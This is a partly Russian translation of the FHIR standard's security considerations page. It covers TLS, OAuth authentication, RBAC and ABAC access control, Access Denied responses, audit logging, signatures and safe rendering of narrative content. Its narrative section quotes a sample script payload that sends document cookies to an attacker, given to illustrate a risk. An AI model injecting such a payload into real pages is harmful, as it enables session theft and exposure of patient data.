Current Build

Переводит компания Health Samurai . Приглашаем поучаствовать в русификации стандарта FHIR: GitHub , Email.

6.1.0 Вопросы безопасности FHIR

FHIR Infrastructure Work GroupMaturity Level: 4Ballot Status: Trial Use

FHIR не является безопасным протоколом обмена данными и не имеет какой-либо функциональности, имеющей отношение к обеспечению защищенности информационного обмена. Однако он определяет жесткие правила обмена и модели содержимого, которые необходимо использовать с протоколами безопасной пересылки данных, определенных в других источниках. Дадим краткие определения основным понятиям:

  • Time Keeping - all clocks should be synchronised using NTP/SNTP, and the design of the system should be robust against a system clock with the wrong value
  • Защита коммуникации (Communications Security) - обмен рабочей информацией должен быть защищен с помощью протоколов TLS/SSL (например https)
  • Аутентификация (Authentication) - возможна любая форма аутентификации пользователей / клиентов. Для решений, основанных на веб, рекомендуется использовать OAuth
  • Контроль авторизации / доступа (Authorization/Access Control) - стандарт FHIR определяет инфраструктуру для различных уровней безопасности (Security Label infrastructure) в целях обеспечения контроля доступа. FHIR также может определять набор ресурсов для управления доступом к информации, однако, на настоящий момент такие ресурсы не были определены.
  • Аудит (Audit) - стандарт FHIR определяет ресурсы provenance и audit event, используемые для отслеживания происхождения, авторства, истории, статуса и получения доступа к ресурсам.
  • Цифровые подписи (Digital Signatures) - FHIR предусматривает специально зарезервированные сегменты для цифровых подписей
  • Вложения (Attachments) - стандарт FHIR предусматривает возможность двоичного представления ресурсов и использование вложений. Использование вложений имеет свои особенности
  • Метки уровней безопасности (Labels) - стандарт FHIR предусматривает несколько уровней безопасности, в соответствии с которыми осуществляется обработка ресурса
  • Политики управления данными (Data Management Policies) - стандарт FHIR определяет набор средств поддержки обмена данными. Не все предлагаемые средства соответствуют локальным требованиям (в том числе законодательным) и могут быть неприменимыми в некоторых контекстах здравоохранения, странах и территориях (напр., обмен данными между медицинскими учреждениями в США осуществляется в соответствии с правилами HIPAA) Выполнение локально-установленных законодательных и других требований является ответственностью разработчика.
  • Описание (Narrative) - Выполнение действий по лечению и уходу должно проходить только в том случае, если описательная часть ресурса (narrative) доступна для отображения

Информацию о дефектах безопасности FHIR, требующих срочного разрешения, необходимо сообщать в списках рассылки FHIR для наиболее быстрого их исправления.

Разработчикам следует следить за развитием профиля IHE IUA Profile для его последующего использования в целях обеспечения дополнительной безопасности.

Системе, построенной на стандарте FHIR, потребуется подсистема контроля безопасности и пользовательского доступа, обеспечивающая аутентификацию и авторизацию пользователей. Вопрос соответствия системы архитектуре развертывания относится к проектированию системы:

   
Пользователь (consumer) системы, имеющий отношение к процессу оказания медицинских услуг
Клиентское приложение пользователя (приложение, мобильное приложение, веб-сайт и т. д.)
Система безопасности (контроль аутентификации и доступа)
Репозиторий клинических данных / данных здравоохранения

На данном рисунке красные линии представляют FHIR-интерфейсы. С точки зрения FHIR API, клиент (пользователь сервисов FHIR) может взаимодействовать с системой безопасности, которая представляется как FHIR-сервер и находится в зависимости от следующего за ней FHIR-интерфейса, непосредственно обеспечивающего хранение. Также возможно независимое взаимодействие клиента / сервера с системой безопасности. В каждом из трех представленных сценариев, возможны различные варианты сборки компонентов в приложения или компоненты сети, однако, несмотря на это, логическая схема расположения компонентов сохраняется. Спецификация FHIR предполагает наличие системы безопасности, которая может быть реализована как перед, так и за FHIR API.

Система безопасности может содержать следующие подсистемы:

  • Аутентификация (Authentication): Идентифицирует и аутентифицирует пользователя
  • Механизм контроля доступа (Access Control decision engine): принимает решение о разрешении / запрете доступа
  • Журнал аудита (Audit Log): фиксирует выполняемые действия и позволяет обнаруживать неправомерные действия и попытки вторжения

Учитывая все множество стандартов администрирования и функционирования систем безопасности, FHIR не предлагает специальных административных ресурсов. Вместо этого, на ресурсы FHIR распространяются политики, определенные сторонними подходами (стандартами). В то же время, FHIR предполагает назначение ресурсам уровней конфиденциальности (security labels) для того, чтобы системы безопасности могли определить допустимость выполнения FHIR-операции конкретным пользователем (также, такое решение может приниматься с учетом содержимого ресурса).

Правила безопасности HTTP распространяются на RESTful API. Please follow the HTTP specification Security Considerations section 15 . Service Base URL определяет необходимость использования SSL. Сервер может затребовать аутентификацию клиента и, возможно, сертификат (client certificate).

Использовать TLS/SSL при обмене медицинской информацией строго ОБЯЗАТЕЛЬНО. Связи TLS/SSL устанавливаются до начала передачи HTTP-запросов/ответов, поэтому всё FHIR-взаимодействие получается защищено SSL/TLS. Безопасность точек взаимодействия TLS/SSL-коммуникаций должна быть управляемым риском для предотвращения нежелательных рисков (например запись параметров GET-запросов в незащищённый журнал аудита).

Для поддержки браузерных клиентских приложений, на сервере ДОЛЖНА БЫТЬ реализована технология CORS (cross-origin resource sharing) для REST-операций.

FHIR-серверы, не являющиеся тестовыми, должны проводить аутентификацию клиентов (clients). Сервер может проводить аутентификацию отдельной клиентской системы и внести ее в список доверенных, либо аутентифицировать каждого пользователя в отдельности в соответствии с целым рядом различных способов. Для решений, основанных на веб, можно использовать OpenID Connect для аутентификации пользователей и OAuth можно использовать для аутентификации и авторизации пользователей. Профиль для OAuth Smart-On-FHIR полностью интегрирован в FHIR и является предпочтительным методом использования OAuth.

The HEART Working Group has developed a set of privacy and security specifications that enable an individual to control the authorization of access to RESTful health-related data sharing APIs, and to facilitate the development of interoperable implementations of these specifications by others.

Корректная идентификация людей, устройств (медицинских изделий), территориальных объектов и организаций - одна из основ, на которой строятся системы обеспечения безопасности (security system). Большая часть реализаций протоколов защиты (security protocols), будь то аутентификация, контроль доступа, цифровые подписи и т. д. основываются на корректном связывании (mapping) ресурсов и систем, которые эти ресурсы предоставляют. Обратите внимание, нет прямой необходимости обеспечения защиты: сам по себе стандарт FHIR не требует и не основывается на системах защиты или какой-либо другой реализации такой системы. Однако, практическое применение FHIR потребует наличие контроля за безопасностью клинической информации.

Система / приложение, имеющее в своем распоряжении данные, не должна осуществлять обмен этими данными до тех пор, пока не получит достаточные гарантии, что принимающая сторона имеет разрешение на их получение. Данное правило применяется, когда клиент создает ресурсы с помощью команд PUT/POST, а сервер возвращает ресурсы по команде GET. Обязательным условием является корректная авторизация, удовлетворяющая требованиям держателя информации, без которой обмен данными не состоится.

Two of the classic Access Control models are: Role-Based Access Control (RBAC), and Attribute-Based Access Control (ABAC).

In Role-Based Access Control (RBAC), permissions are operations on an object that a user wishes to access. Permissions are grouped into roles. A role characterizes the functions a user is allowed to perform. Roles are assigned to users. If the user’s role has the appropriate permissions to access an object, then that user is granted access to the object. FHIR readily enables RBAC, as FHIR Resources are object types and the CRUDE (Create, Read, Update, Delete, Execute) events (the FHIR equivalent to permissions in the RBAC scheme) are operations on those objects.

In Attribute-Based Access Control (ABAC), a user requests to perform operations on objects. That user's access request is granted or denied based on a set of access control policies that are specified in terms of attributes and conditions. FHIR readily enables ABAC, as instances of a Resource in FHIR (again, Resources are object types) can have attributes associated with them. These attributes include security tags, environment conditions, and a host of user and object characteristics, which are the same attributes as those used in ABAC. Attributes help define the access control policies that determine the operations a user may perform on a Resource (in FHIR) or object (in ABAC). For example, a tag (or attribute) may specify that the identified Resource (object) is not to be further disclosed without explicit consent from the patient.

Правила, на которых основываются решения по предоставлению доступа часто очень сложны, и могут зависеть от информации, источником которой является:

  • Клиент, например идентификационная информация пользователя, роль пользователя, местоположение, уровень гарантий
  • Ресурс (Resource) - например, конфиденциальность (confidentiality), степень "чувствительности" (конфиденциальности) данных (sensitivity), тип данных (type of data), покрываемый диапазон данных (date ranges), авторство данных (author of the data)
  • Пациент (Patient) - например, идентификационные данные пациента (patient identity), связь между пользователем и пациентом (patient relationship to the user), политики согласия пациента (patient consent policies)
  • Контекст транзакции (context of the transaction), идентификационные данные системы (system identity), время суток (time-of-day), цель использования (purpose of use), статус процесса (workflow state) и безопасность передачи (transport security)

Для получения дополнительной информации, обратитесь к "белой книге" IHE по вопросам контроля доступа

Access control constraints may result in data returned in a read or search being redacted or otherwise restricted. See Variations between Submitted data and Retrieved data.

The FHIR RESTful API provides a number of ways that a client may request or create information. When designing a system to authorize access to information, all potential access methods must be considered. They include the following:
  • The basic CRUD methods on resources. A security implementation must evaluate whether a client can read, update create or delete a given resource.
  • Chained search provides the ability to disclose information on related resources. A security implementation must consider whether a client has the permission to access the resource being searched on, as well as the chained resource(s)
  • _include and _revinclude search parameters allow client to request related resources. A security implementation must determine if the client has access to the included resources.
  • security labels
  • Several resources, including Bundle, Composition, Group and List, are designed to contain other resources. A security implementation should consider whether access to an individual resource, such as a Bundle, should permit access to all resources contained within the resource.
  • FHIR defines several operations that may be supported by a server. Security implementations must evaluate whether a client has the ability to invoke these operations and what information should be returned from them. Fetch Encounter Record, Evaluate Measure, Observation Statistics, Find patient matches using MPI based logic and Fetch Patient Record specifically provide the ability to disclose patient information.
  • Batch and transaction processing provide ways for clients to create and update information in bulk. Security implementations should consider whether a client has the ability to initiate one of these interactions and make authorization decisions on each action in the batch/transaction.
  • Security implementations must be aware of the Break the Glass protocol (e.g. break the glass) (example).

A web-server, especially hosting FHIR, must choose the response carefully when an Access Denied condition exists. Returning too much information may expose details that should not be communicated. The Access Denied condition might be because of missing but required Authentication, the user is not authorized to access the endpoint, the user is not authorized to access specific data, or other policy reasons.

To balance usability of the returned result vs appropriate protection, the actual result method used needs to be controlled by policy and context. Typical methods of handling Access Denied used are:

Return a Success with Bundle containing zero results – This result is indistinguishable from the case where no data is known. When consistently returned on Access Denied, this will not expose which patients exist, or what data might be blinded. This method is also consistent with cases where some results are authorized while other results are blinded. This can only be used when the returning a Bundle is a valid result.

Return a 404 “Not Found” – This also protects from data leakage as it is indistinguishable from a query against a resource that doesn’t exist. It does however leak that the user authentication is validated.

Return a 403 “Forbidden” – This communicates that the reason for the failure is an Authorization failure. It should only be used when the client and/or user is well enough known to be given this information. Thus this method is most used when the user is allowed to know that they are forbidden access. It doesn’t explain how the user might change things to become authorized.

Return a 401 “Unauthorized” – This communicates that user authentication was attempted and failed to be authenticated.

В стандарте FHIR предусмотрен ресурс AuditEvent, используемый клиентами и FHIR-сервером для фиксирования событий, имеющих отношение к защите конфиденциальности и безопасности. Данная форма ведения контрольных журналов позволяет фиксировать столько данных, сколько необходимо на момент времени выполнения некоторого действия / события.

При использовании для записи событий, имеющих отношение к безопасности и защите конфиденциальности, ресурс AuditEvent может впоследствии быть использован надлежащим образом авторизованными приложениями для формирования аудиторских отчетов, отправки уведомлений, фильтрации и пересылки полученных данных. Эта модель была разработана и уже больше десяти лет используется в здравоохранении в качестве интеграционного профиля IHE-ATNA . События журнала ATNA могут автоматически конвертироваться в ресурсы типа "AuditEvent", после чего клиентское приложение сможет выполнять поиск событий, связанных с аудитом, или подписываться на такие события.

Что касается HTTP-логов, реализаторам необходимо учитывать последствия выделения доступа журналам аудита. HTTP-журналы аудита, включая те, которые содержат только непосредственно URL-адреса, следует считать такими же конфиденциальными, как и сами ресурсы. Даже если сам PHI хранится отдельно от журнала аудита посредством тщательного избегания параметров поиска (например с помощью POST), журнал всё ещё будет содержать достаточно информации об историях болезни.

Спецификация FHIR рекомендует использовать цифровые подписи консорциума W3C для подписи [ресурсов]. Ресурсы могут быть подписаны с помощью ресурсов типа Provenance (происхождение), несущих отделенную цифровую подпись (detached digital signature) . Тип данных Signature подходит для поддержки различных типов подписей, включая невозможность отказа от авторства. Более подробную информацию о создании и валидации подписей см. на странице определения типа данных Signature.

Кроме того, документы могут быть подписаны с помощью упакованной цифровой подписи (enveloped signature) . Спецификация по упакованной цифровой подписи приводится в IHE DSG profile .

Разрешается также использование других способов электронной подписи документов и ресурсов.

Примечание к STU: использование электронных цифровых подписей в RESTful-интерфейсах - пока ещё малоизученная область, и мы приветствуем сообщения об опыте подобных реализаций. See discussion on use of Digital Signature in FHIR

Оставляйте свои отзывы здесь .

Некоторые ресурсы FHIR могут содержать вложения. Вложениями могут быть ссылки на некоторое содержимое во внешних источниках или строчное включение кодированное base64. Вложения могут представлять опасность для защиты системы, в отличие от ресурсов FHIR, т. к. вложения могут содержать исполняемый код. Разработчики должны всегда с осторожностью пользоваться вложениями.

См. Метки уровня безопасности.

Ресурсы FHIR содержат описательную часть в XHTML представлении, поэтому приложения могут отображать содержимое ресурса без необходимости полной и корректной обработки его содержимого. Однако, отображение HTML-содержимого сопряжено с некоторыми проблемами безопасности медицинских информационных систем и ПО, которые были изучены в рамках других контекстов (напр., в CDA ). По этой причине, описательная человекочитаемая часть ресурса (narrative) не должна содержать динамического содержимого. Несмотря на это, все же необходимо соблюдать следующие правила при отображение описательной части ресурса:

  • Проводите валидацию описательной части ресурса (стандартные схемы FHIR запрещают использовать динамическое содержимое, поэтому эталонные реализации FHIR пропускают такое содержимое). Обратите внимание, если внешние ссылки включены в CSS, на них не распространяется схема FHIR и правила эталонной реализации .
  • Убедитесь, что внешние ссылки на изображения (напр., на внешние по отношению к ресурсу источники) при просмотре в соответствующем программном обеспечении не вызывают утечки конфиденциальной информации
  • Не переходите по внешним ссылкам при работе с привилегированными правами, если не уверены в их безопасности
  • Care should be taken to differentiate HTTP RESTful (API) from browser based server content. Specifically, one should separate user session cookies, as an attacker could create content that serves up with content-type "text/html" and has content like "<script>send_to_attacker(document.cookie);</script>".

Обратите внимание: включение внешней ссылки в изображение может позволить серверу, на котором оно хранится, отслеживать, кто просматривает изображение. Это может быть как полезной дополнительной функцией, так и проблемой безопасности.

Кроме описательной части, документы могут также содержать таблицы стилей. В отличие от CDA, эти таблицы стилей являются обычными CSS, а не исполняемыми XSLT, поэтому риски безопасности здесь другие. Однако CSS могут ссылаться на внешнее содержимое (например фоновые изображения), и приложеням, отображающим документы, следует убедиться, что CSS-ссылки не будут открываться автоматически без предварительной их проверки на безопасность, и что при использовании внешних ссылок не будет происходить утечка информации о сессии и идентифицирующей информации.